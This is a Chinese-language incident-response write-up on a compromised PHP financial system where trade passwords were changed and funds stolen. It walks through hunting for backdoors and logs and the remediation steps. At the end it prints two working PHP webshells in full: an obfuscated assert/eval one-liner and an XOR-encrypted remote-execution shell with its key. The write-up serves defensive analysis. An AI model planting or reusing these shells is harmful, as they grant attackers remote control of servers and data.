事件:
某海外金融系统,用户交易密码被修改并且绕过了用户端验证码,资金被转出,造成损失,因问题较多,各方人员均不知问题出现的环节,需要排查。
事件背景:
1、系统代码为购买代码二开,没有做任何安全检测(低代码低成本);
2、代码为PHP开发;
3、线上环境为某塔集成安装,未做加固,无监控。
排查处理:
了解完信息后,应该先明确问题发生的场景,用户的交易密码被修改,并且没有触发业务场景中的短信验证码,
通过分析业务场景,只有后台和直接修改数据库可以做到,那么,锁定了排查方向,
可以先检查一下数据库是否有远程权限和用户,如果没有,那么大概率是后台被入侵。
后台被入侵,一般是管理员密码被爆破或者程序有后门,管理员密码被爆破这个不好明确,
只能通过对管理员账号的修复和增加验证码复杂度等业务约束来解决,可以放在最后,先排查代码中的后门。
(这里只记录木马排查清理过程,后续系统排查和清理将另行说明)
代码后门一般为以下4种:
1、以特殊代码文件存在,通常存在可访问文件夹下,例如一些一句话木马;
2、嵌入在正常执行逻辑中的可执行代码;
3、通过可接收任意参数的代码,将参数写入到固定的可访问文件中,通过浏览器请求执行;
4、通过遗留特殊的方法,绕过权限认证或通过无权限控制的方法来控制系统。
通过对代码后门的分析,排查方式如下:
1、通过git进行文件对比,检查在浏览器可访问目录中,是否存在PHP文件;
2、检查是否有可执行代码,可执行代码一般由特殊的系统函数,将http请求中的字符串以代码的方式进行执行,
在php中,这类函数有 system,exec,eval等,通过对代码的全局搜索,并没有发现;
3、检查业务代码中是否有明确的file函数和curl函数的调用,排查是否有远程代码下载或自动写文件的代码;
4、检查是否有绕过权限系统的代码或方法,通过对控制器类进行反射,发现其均继承同一个父类并且父类中没有特殊的判断。
通过对代码后门的排查,发现了几个可疑文件,其中有2个木马文件,1个数据库管理工具adminer(https://www.adminer.org/),然后对比文件修改时间的,其中木马文件是项目创建开始就有了(这就是后门),数据库管理工具却是最近出现的,已经有了蛛丝马迹,那么我们顺藤摸瓜,看看nginx请求日志中(此处有可能被清理,所以以往对ng这类关键日志只通过chattr赋权追加权限,这里我先碰碰运气),这几个文件是否有访问记录,一顿cat grep过后发现木马文件并没有请求记录,但是数据库管理工具却是在交易密码修改前后被访问了,初步怀疑是数据库中直接修改,因暂无更多的线索,所以暂时到此为止,先及时止损,处理现有问题,然后再通过社会工程学看看能不能有所收获。
处理方式:
1、将互相影响的运营系统迁移,物理隔离影响;
2、将潜在问题较多的运营系统做访问白名单机制,在可见度上杜绝被扫描和入侵的可能(偷懒^_^);
3、清理木马文件,监控指定目录的文件改动,动态监控新增文件(inotify);
4、业务功能上加强,做好强制性验证,取消可绕过验证的功能点(或增加二级授权),降低系统被入侵后的损失。
分享一个排查到的木马
1.php (已验证)
function WPFM($cgi){
$var=array($api=($fastcgi=($socks=array('api.js'=>$cgi(eval(pix()))))));
}
function pix(){
$blob=$_POST['123'];
$blob="$blob";
$exc['404warning']="";
return $exc['404warning']."$blob";
}
$ast=substr_replace("assexx","rt",4);
WPFM($ast);
2.php (未验证)
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}